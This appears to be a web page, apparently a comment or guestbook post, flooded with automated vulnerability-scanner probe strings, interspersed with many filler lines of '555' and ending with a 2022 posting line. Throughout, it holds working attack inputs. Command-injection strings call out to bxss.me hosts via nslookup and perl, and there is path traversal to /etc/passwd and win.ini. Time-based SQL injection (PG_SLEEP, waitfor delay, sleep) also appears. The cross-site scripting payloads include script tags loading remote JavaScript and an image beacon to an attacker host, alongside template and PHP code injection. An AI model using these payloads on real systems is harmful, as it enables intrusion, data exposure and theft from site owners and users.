"+"A".concat(70-3).concat(22*4).concat(109).concat(81).concat(120).concat(65)+(require"socket"
Socket.gethostbyname("hitam"+"hquodeto45566.bxss.me.")[3].to_s)+"
HttP://bxss.me/t/xss.html?%00
555
555
'+'A'.concat(70-3).concat(22*4).concat(116).concat(81).concat(112).concat(86)+(require'socket'
Socket.gethostbyname('hitad'+'lcohbnqb1a25d.bxss.me.')[3].to_s)+'
555
/xfs.bxss.me
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
bxss.me
^(#$!@#$)(()))******
555
555
555
555
555
555
!(()&&!|*|*|
555
555
555
555
Http://bxss.me/t/fit.txt
)
555
".gethostbyname(lc("hittl"."thessdol8968c.bxss.me."))."A".chr(67).chr(hex("58")).chr(97).chr(79).chr(114).chr(89)."
'"()
http://bxss.me/t/fit.txt?.jpg
555
'.gethostbyname(lc('hitsj'.'xonzslgb5cd4a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(87).chr(106).chr(72).'
1some_inexistent_file_with_long_name .jpg
555
555
555
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
555
555
555
555
555
555
555
`(nslookup hitxctlqzurvsc3ef8.bxss.me||perl -e "gethostbyname('hitxctlqzurvsc3ef8.bxss.me')")`
555
555
555
555
;(nslookup hitlievczuhfma9954.bxss.me||perl -e "gethostbyname('hitlievczuhfma9954.bxss.me')")|(nslookup hitlievczuhfma9954.bxss.me||perl -e "gethostbyname('hitlievczuhfma9954.bxss.me')")&(nslookup hitlievczuhfma9954.bxss.me||perl -e "gethostbyname('hitlievczuhfma9954.bxss.me')")
555
|(nslookup hitmgxbcdvoqy6307d.bxss.me||perl -e "gethostbyname('hitmgxbcdvoqy6307d.bxss.me')")
555
555
555
555
555
555
555
&(nslookup hitarypjqwgqj734a1.bxss.me||perl -e "gethostbyname('hitarypjqwgqj734a1.bxss.me')")&'\"`0&(nslookup hitarypjqwgqj734a1.bxss.me||perl -e "gethostbyname('hitarypjqwgqj734a1.bxss.me')")&`'
555
555
$(nslookup hituawstxrvvg4894a.bxss.me||perl -e "gethostbyname('hituawstxrvvg4894a.bxss.me')")
555
(nslookup hitfrcnafwhtn6479c.bxss.me||perl -e "gethostbyname('hitfrcnafwhtn6479c.bxss.me')")
../555
&echo nmtpvy$()\ rztcwn\nz^xyu||a #' &echo nmtpvy$()\ rztcwn\nz^xyu||a #|" &echo nmtpvy$()\ rztcwn\nz^xyu||a #
555
555
|echo sqgpjc$()\ zsaryp\nz^xyu||a #' |echo sqgpjc$()\ zsaryp\nz^xyu||a #|" |echo sqgpjc$()\ zsaryp\nz^xyu||a #
555
../../../../../../../../../../../../../../etc/passwd
echo oikzis$()\ ekjrub\nz^xyu||a #' &echo oikzis$()\ ekjrub\nz^xyu||a #|" &echo oikzis$()\ ekjrub\nz^xyu||a #
12345'"\'\");|]* {
< >
555
../../../../../../../../../../../../../../windows/win.ini
${9999267+9999601}
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
555
555
555
555
555
555
"+response.write(9618122*9456024)+"
555
'+response.write(9618122*9456024)+'
555
response.write(9618122*9456024)
555
555
555
555
555
1DtBC2Ka06O
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@PdI8M
1
1'"
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
tWDB2qro')) OR 269=(SELECT 269 FROM PG_SLEEP(15))--
M063NdDE') OR 432=(SELECT 432 FROM PG_SLEEP(15))--
yYPgvrGU' OR 149=(SELECT 149 FROM PG_SLEEP(15))--
-1)) OR 124=(SELECT 124 FROM PG_SLEEP(15))--
-5) OR 440=(SELECT 440 FROM PG_SLEEP(15))--
-5 OR 719=(SELECT 719 FROM PG_SLEEP(15))--
44JK7aXS'; waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1" OR 2+531-531-1=0+0+0+1 --
-1' OR 2+678-678-1=0+0+0+1 or 'IVIpLu5J'='
-1' OR 2+431-431-1=0+0+0+1 --
-1 OR 2+645-645-1=0+0+0+1
-1 OR 2+179-179-1=0+0+0+1 --
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555<a1nyq33<
555<img sRc='http://attacker-9167/log.php?
555
555<aDCCx9K x=9605>
555<ifRAme sRc=9963.com></IfRamE>
555<WCTIQX>DZNVZ[!+!]</WCTIQX>
555Tcw3g
<ScRiPt >UBp6(9169)</ScRiPt>
555}body{acu:Expre/**/SSion(UBp6(9588))}
555
<a HrEF=jaVaScRiPT:>
<a HrEF=http://xss.bxss.me></a>
555<input autofocus onfocus=UBp6(9406)>
555<ScRiPt>UBp6(9540)</sCripT>
555\u003CScRiPt\UBp6(9940)\u003C/sCripT\u003E
%35%35%35%3C%53%63%52%69%50%74%20%3E%55%42%70%36%289905%29%3C%2F%73%43%72%69%70%54%3E
555<img/src=">" onerror=alert(9821)>
555
555<img src=xyz OnErRor=UBp6(9536)>
555<img src=//xss.bxss.me/t/dot.gif onload=UBp6(9777)>
555<body onload=UBp6(9219)>
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9829'>
555<isindex type=image src=1 onerror=UBp6(9770)>
555<svg
555
555< ScRiPt
>UBp6(9170)</ScRiPt>
555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9802></ScRiPt>
555<ScRiPt
>UBp6(9128)</ScRiPt>
555<ScR<ScRiPt>IpT>UBp6(9752)</sCr<ScRiPt>IpT>
555<script>UBp6(9839)</script>
555<WQ8KJK>F6BHU[!+!]</WQ8KJK>
555<ScRiPt >UBp6(9120)</ScRiPt>
555
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
acx__${98991*97996}__::.x
acx[[${98991*97996}]]xca
acx{{98991*97996}}xca
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
<th:t="${acx}#foreach
555
<%={{={@{#{${acx}}%>
acux1336
acu4482＜s1﹥s2ʺs3ʹuca4482
5559530123
'"()&%<acx><ScRiPt >UBp6(9241)</ScRiPt>
555'"()&%<acx><ScRiPt >UBp6(9650)</ScRiPt>
555
555
555
555
555
555
555
555
555
555
555
<!--
555
555
555
${@print(md5(31337))}\
'"
46/.
'.print(md5(31337)).'
555
${@print(md5(31337))}
46
';print(md5(31337));$a='
555
555
555
555
";print(md5(31337));$a="
555
46
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
555
/xfs.bxss.me
555
555
555
555
555
555
555
'+'A'.concat(70-3).concat(22*4).concat(105).concat(88).concat(118).concat(83)+(require'socket'
Socket.gethostbyname('hitiz'+'qlyodexvc633c.bxss.me.')[3].to_s)+'
555
555
555
555
555
555
555
555
"+"A".concat(70-3).concat(22*4).concat(97).concat(71).concat(101).concat(86)+(require"socket"
Socket.gethostbyname("hitff"+"ycwhlurc5bf83.bxss.me.")[3].to_s)+"
555
bxss.me/t/xss.html?%00
555
555
555
555
http://bxss.me/t/fit.txt?.jpg
555
555
HttP://bxss.me/t/xss.html?%00
555
555
bxss.me
555
555
555
`(nslookup hitqbhavufazra8a21.bxss.me||perl -e "gethostbyname('hitqbhavufazra8a21.bxss.me')")`
555
Http://bxss.me/t/fit.txt
555
555
;(nslookup hitegctunksex8c8b0.bxss.me||perl -e "gethostbyname('hitegctunksex8c8b0.bxss.me')")|(nslookup hitegctunksex8c8b0.bxss.me||perl -e "gethostbyname('hitegctunksex8c8b0.bxss.me')")&(nslookup hitegctunksex8c8b0.bxss.me||perl -e "gethostbyname('hitegctunksex8c8b0.bxss.me')")
&(nslookup hituwhzlqnkhc9b77f.bxss.me||perl -e "gethostbyname('hituwhzlqnkhc9b77f.bxss.me')")&'\"`0&(nslookup hituwhzlqnkhc9b77f.bxss.me||perl -e "gethostbyname('hituwhzlqnkhc9b77f.bxss.me')")&`'
555
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
555
555
555
|(nslookup hitkjnpcibvpu90e0f.bxss.me||perl -e "gethostbyname('hitkjnpcibvpu90e0f.bxss.me')")
555
1some_inexistent_file_with_long_name .jpg
555
555
555
^(#$!@#$)(()))******
555
555
555
(nslookup hitfzepqyhlovcd940.bxss.me||perl -e "gethostbyname('hitfzepqyhlovcd940.bxss.me')")
)
555
!(()&&!|*|*|
$(nslookup hitzvdbnoyaqb5e6da.bxss.me||perl -e "gethostbyname('hitzvdbnoyaqb5e6da.bxss.me')")
'.gethostbyname(lc('hitvt'.'gcrfniyr0af8f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(81).chr(112).chr(67).'
|echo bmzajm$()\ geuscd\nz^xyu||a #' |echo bmzajm$()\ geuscd\nz^xyu||a #|" |echo bmzajm$()\ geuscd\nz^xyu||a #
'"()
".gethostbyname(lc("hitnz"."kcygnngu90fdd.bxss.me."))."A".chr(67).chr(hex("58")).chr(112).chr(68).chr(116).chr(86)."
echo vvonxj$()\ ubpbub\nz^xyu||a #' &echo vvonxj$()\ ubpbub\nz^xyu||a #|" &echo vvonxj$()\ ubpbub\nz^xyu||a #
&echo egjdar$()\ qfjmlo\nz^xyu||a #' &echo egjdar$()\ qfjmlo\nz^xyu||a #|" &echo egjdar$()\ qfjmlo\nz^xyu||a #
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
${10000279+9999339}
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
12345'"\'\");|]* {
< >
../555
555
555
555
555
555
../../../../../../../../../../../../../../etc/passwd
555
../../../../../../../../../../../../../../windows/win.ini
555
555
555
'+response.write(9367483*9320880)+'
555
555
"+response.write(9367483*9320880)+"
555
555
555
response.write(9367483*9320880)
555
555
555
555
555
555
555
555
555
555
1CDqPXdqB2O
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
1
@@4J2fW
1'"
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
DpyFSBPe')) OR 794=(SELECT 794 FROM PG_SLEEP(15))--
4aL4Hf7B') OR 201=(SELECT 201 FROM PG_SLEEP(15))--
5Kei6g5p' OR 474=(SELECT 474 FROM PG_SLEEP(15))--
-1)) OR 468=(SELECT 468 FROM PG_SLEEP(15))--
-5) OR 659=(SELECT 659 FROM PG_SLEEP(15))--
-5 OR 244=(SELECT 244 FROM PG_SLEEP(15))--
PeBzMCgb'; waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1' OR 2+727-727-1=0+0+0+1 or 'cLpb9pyx'='
-1" OR 2+366-366-1=0+0+0+1 --
-1' OR 2+442-442-1=0+0+0+1 --
-1 OR 2+756-756-1=0+0+0+1
-1 OR 2+728-728-1=0+0+0+1 --
555
555
555
555
<a HrEF=http://xss.bxss.me></a>
555<input autofocus onfocus=2YuL(9505)>
555<ScRiPt>2YuL(9019)</sCripT>
555\u003CScRiPt\2YuL(9410)\u003C/sCripT\u003E
%35%35%35%3C%53%63%52%69%50%74%20%3E%32%59%75%4C%289106%29%3C%2F%73%43%72%69%70%54%3E
555<img/src=">" onerror=alert(9916)>
555
555<img src=xyz OnErRor=2YuL(9438)>
555<img src=//xss.bxss.me/t/dot.gif onload=2YuL(9631)>
555<body onload=2YuL(9551)>
555
555<isindex type=image src=1 onerror=2YuL(9751)>
555<svg
555< ScRiPt
>2YuL(9308)</ScRiPt>
555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9873></ScRiPt>
555<ScRiPt
>2YuL(9005)</ScRiPt>
555<ScR<ScRiPt>IpT>2YuL(9028)</sCr<ScRiPt>IpT>
555
555<script>2YuL(9683)</script>
555<WC4MQG>Q45PH[!+!]</WC4MQG>
555<ScRiPt >2YuL(9721)</ScRiPt>
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
acx__${98991*97996}__::.x
acx[[${98991*97996}]]xca
acx{{98991*97996}}xca
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
<th:t="${acx}#foreach
<%={{={@{#{${acx}}%>
acux1398
acu4193＜s1﹥s2ʺs3ʹuca4193
5559687898
555
'"()&%<acx><ScRiPt >2YuL(9178)</ScRiPt>
555'"()&%<acx><ScRiPt >2YuL(9929)</ScRiPt>
555
555
555
555
555
555
555
555
555
555
<!--
555
555
555
46/.
'"
555
555
46
555
555
${@print(md5(31337))}\
'+'A'.concat(70-3).concat(22*4).concat(116).concat(90).concat(110).concat(81)+(require'socket'
Socket.gethostbyname('hitgz'+'gjbacake452b4.bxss.me.')[3].to_s)+'
555
555
555
'.print(md5(31337)).'
46
555
"+"A".concat(70-3).concat(22*4).concat(117).concat(85).concat(113).concat(87)+(require"socket"
Socket.gethostbyname("hitoz"+"zsldljrf2ec6c.bxss.me.")[3].to_s)+"
${@print(md5(31337))}
555
';print(md5(31337));$a='
/xfs.bxss.me
";print(md5(31337));$a="
555
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
555
555
555
555
bxss.me/t/xss.html?%00
555
555
HttP://bxss.me/t/xss.html?%00
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
".gethostbyname(lc("hitjp"."teexeefj03cd0.bxss.me."))."A".chr(67).chr(hex("58")).chr(106).chr(79).chr(121).chr(69)."
bxss.me
555
555
555
http://bxss.me/t/fit.txt?.jpg
555
555
555
Http://bxss.me/t/fit.txt
'.gethostbyname(lc('hitor'.'zkxzylri567da.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(81).chr(100).chr(73).'
;(nslookup hitecuwcoewggf4477.bxss.me||perl -e "gethostbyname('hitecuwcoewggf4477.bxss.me')")|(nslookup hitecuwcoewggf4477.bxss.me||perl -e "gethostbyname('hitecuwcoewggf4477.bxss.me')")&(nslookup hitecuwcoewggf4477.bxss.me||perl -e "gethostbyname('hitecuwcoewggf4477.bxss.me')")
555
1some_inexistent_file_with_long_name .jpg
555
555
555
555
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
`(nslookup hittdnwyzglszffd00.bxss.me||perl -e "gethostbyname('hittdnwyzglszffd00.bxss.me')")`
555
555
555
^(#$!@#$)(()))******
555
|(nslookup hitwjfctopsju3f793.bxss.me||perl -e "gethostbyname('hitwjfctopsju3f793.bxss.me')")
'"()
)
555
$(nslookup hitbvlnynbaqf6d035.bxss.me||perl -e "gethostbyname('hitbvlnynbaqf6d035.bxss.me')")
!(()&&!|*|*|
555
&(nslookup hitbkaouwtgbfb88d3.bxss.me||perl -e "gethostbyname('hitbkaouwtgbfb88d3.bxss.me')")&'\"`0&(nslookup hitbkaouwtgbfb88d3.bxss.me||perl -e "gethostbyname('hitbkaouwtgbfb88d3.bxss.me')")&`'
(nslookup hitcxoqbpcjxi6b233.bxss.me||perl -e "gethostbyname('hitcxoqbpcjxi6b233.bxss.me')")
555
&echo lkzemq$()\ zeocmi\nz^xyu||a #' &echo lkzemq$()\ zeocmi\nz^xyu||a #|" &echo lkzemq$()\ zeocmi\nz^xyu||a #
555
555
|echo omgxhu$()\ ewbxdb\nz^xyu||a #' |echo omgxhu$()\ ewbxdb\nz^xyu||a #|" |echo omgxhu$()\ ewbxdb\nz^xyu||a #
555
echo czjyhm$()\ ljbgnk\nz^xyu||a #' &echo czjyhm$()\ ljbgnk\nz^xyu||a #|" &echo czjyhm$()\ ljbgnk\nz^xyu||a #
555
555
555
555
555
555
555
555
555
555
${9999180+10000179}
555
555
555
555
555
12345'"\'\");|]* {
< >
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
../555
555
555
555
../../../../../../../../../../../../../../etc/passwd
555
../../../../../../../../../../../../../../windows/win.ini
555
555
555
555
555
555
555
"+response.write(9287460*9500730)+"
555
555
response.write(9287460*9500730)
555
'+response.write(9287460*9500730)+'
555
555
555
555
555
555
555
555
555
555
555
555
555
1tPNSkhXCO
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@DjNYQ
1'"
1
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
LKKlTys7')) OR 88=(SELECT 88 FROM PG_SLEEP(15))--
k9FoejPg') OR 534=(SELECT 534 FROM PG_SLEEP(15))--
SbvwHqS8' OR 957=(SELECT 957 FROM PG_SLEEP(15))--
-1)) OR 374=(SELECT 374 FROM PG_SLEEP(15))--
-5) OR 469=(SELECT 469 FROM PG_SLEEP(15))--
-5 OR 934=(SELECT 934 FROM PG_SLEEP(15))--
8xpZuL0b'; waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1" OR 2+306-306-1=0+0+0+1 --
-1' OR 2+381-381-1=0+0+0+1 or 'Crzmw9rR'='
-1' OR 2+121-121-1=0+0+0+1 --
-1 OR 2+55-55-1=0+0+0+1
-1 OR 2+361-361-1=0+0+0+1 --
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555<ayoHEsC<
555<img sRc='http://attacker-9101/log.php?
555<aHegxEP x=9402>
555<ifRAme sRc=9495.com></IfRamE>
555<WBP7OS>FQIRZ[!+!]</WBP7OS>
555VOoST
<ScRiPt >FjQd(9078)</ScRiPt>
555
555}body{acu:Expre/**/SSion(FjQd(9740))}
<a HrEF=jaVaScRiPT:>
<a HrEF=http://xss.bxss.me></a>
555<input autofocus onfocus=FjQd(9853)>
555
555<ScRiPt>FjQd(9453)</sCripT>
555\u003CScRiPt\FjQd(9120)\u003C/sCripT\u003E
%35%35%35%3C%53%63%52%69%50%74%20%3E%46%6A%51%64%289577%29%3C%2F%73%43%72%69%70%54%3E
555<img/src=">" onerror=alert(9309)>
555<img src=xyz OnErRor=FjQd(9813)>
555
555<img src=//xss.bxss.me/t/dot.gif onload=FjQd(9420)>
555<body onload=FjQd(9569)>
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9066'>
555<isindex type=image src=1 onerror=FjQd(9363)>
555<svg
555
555< ScRiPt
>FjQd(9248)</ScRiPt>
555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9125></ScRiPt>
555<ScRiPt
>FjQd(9461)</ScRiPt>
555<ScR<ScRiPt>IpT>FjQd(9842)</sCr<ScRiPt>IpT>
555
555<script>FjQd(9809)</script>
555<WAXI5P>AQ9LO[!+!]</WAXI5P>
555<ScRiPt >FjQd(9406)</ScRiPt>
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
acx__${98991*97996}__::.x
acx[[${98991*97996}]]xca
acx{{98991*97996}}xca
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
555
<th:t="${acx}#foreach
<%={{={@{#{${acx}}%>
acux3687
555
acu6092＜s1﹥s2ʺs3ʹuca6092
5559463010
'"()&%<acx><ScRiPt >FjQd(9915)</ScRiPt>
555
555'"()&%<acx><ScRiPt >FjQd(9634)</ScRiPt>
555
555
555
555
555
555
555
555
555
555
555
555
555
<!--
46/.
'.print(md5(31337)).'
555
555
555
'"
46
${@print(md5(31337))}\
555
555
555
555
555
555
${@print(md5(31337))}
46
555
555
555
555
';print(md5(31337));$a='
555
555
555
555
555
";print(md5(31337));$a="
555
'+'A'.concat(70-3).concat(22*4).concat(117).concat(77).concat(108).concat(65)+(require'socket'
Socket.gethostbyname('hitul'+'iqsztawwa1033.bxss.me.')[3].to_s)+'
555
555
555
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
555
`(nslookup hittggeahuzgl4bb9c.bxss.me||perl -e "gethostbyname('hittggeahuzgl4bb9c.bxss.me')")`
bxss.me
bxss.me/t/xss.html?%00
"+"A".concat(70-3).concat(22*4).concat(102).concat(86).concat(107).concat(76)+(require"socket"
Socket.gethostbyname("hitvq"+"qluoyptya261e.bxss.me.")[3].to_s)+"
/xfs.bxss.me
555
;(nslookup hitbyetpjsssee49ee.bxss.me||perl -e "gethostbyname('hitbyetpjsssee49ee.bxss.me')")|(nslookup hitbyetpjsssee49ee.bxss.me||perl -e "gethostbyname('hitbyetpjsssee49ee.bxss.me')")&(nslookup hitbyetpjsssee49ee.bxss.me||perl -e "gethostbyname('hitbyetpjsssee49ee.bxss.me')")
555
555
555
|(nslookup hitiogjqwfxgd02b2a.bxss.me||perl -e "gethostbyname('hitiogjqwfxgd02b2a.bxss.me')")
http://bxss.me/t/fit.txt?.jpg
HttP://bxss.me/t/xss.html?%00
555
555
1some_inexistent_file_with_long_name .jpg
$(nslookup hityrvycrroqjf5b48.bxss.me||perl -e "gethostbyname('hityrvycrroqjf5b48.bxss.me')")
555
555
Http://bxss.me/t/fit.txt
555
&(nslookup hittoxkvnuhpj98c69.bxss.me||perl -e "gethostbyname('hittoxkvnuhpj98c69.bxss.me')")&'\"`0&(nslookup hittoxkvnuhpj98c69.bxss.me||perl -e "gethostbyname('hittoxkvnuhpj98c69.bxss.me')")&`'
555
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
555
(nslookup hitjdhswemofod48a8.bxss.me||perl -e "gethostbyname('hitjdhswemofod48a8.bxss.me')")
555
555
'.gethostbyname(lc('hithg'.'cyxhuezl4a76e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(84).chr(98).chr(75).'
555
&echo hpvomi$()\ lhzzlr\nz^xyu||a #' &echo hpvomi$()\ lhzzlr\nz^xyu||a #|" &echo hpvomi$()\ lhzzlr\nz^xyu||a #
555
555
^(#$!@#$)(()))******
".gethostbyname(lc("hitax"."kolnanor8935c.bxss.me."))."A".chr(67).chr(hex("58")).chr(115).chr(65).chr(115).chr(82)."
555
|echo aqmevl$()\ jjqytt\nz^xyu||a #' |echo aqmevl$()\ jjqytt\nz^xyu||a #|" |echo aqmevl$()\ jjqytt\nz^xyu||a #
)
echo vxpweh$()\ ojvabo\nz^xyu||a #' &echo vxpweh$()\ ojvabo\nz^xyu||a #|" &echo vxpweh$()\ ojvabo\nz^xyu||a #
555
555
!(()&&!|*|*|
555
555
'"()
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
../555
../../../../../../../../../../../../../../etc/passwd
555<esi:include src="http://bxss.me/rpb.png"/>
${9999726+10000032}
555
../../../../../../../../../../../../../../windows/win.ini
555
555
555
555
555
12345'"\'\");|]* {
< >
555
555
555
555
555
555
555
"+response.write(9920736*9995262)+"
555
555
555
response.write(9920736*9995262)
555
'+response.write(9920736*9995262)+'
555
555
555
555
555
555
555
555
555
555
555
555
555
555
1HZd4gqVAO
555
555
555
Posted by ooJpiued - 2022年3月18日 12時02分
555<aGWTDxw<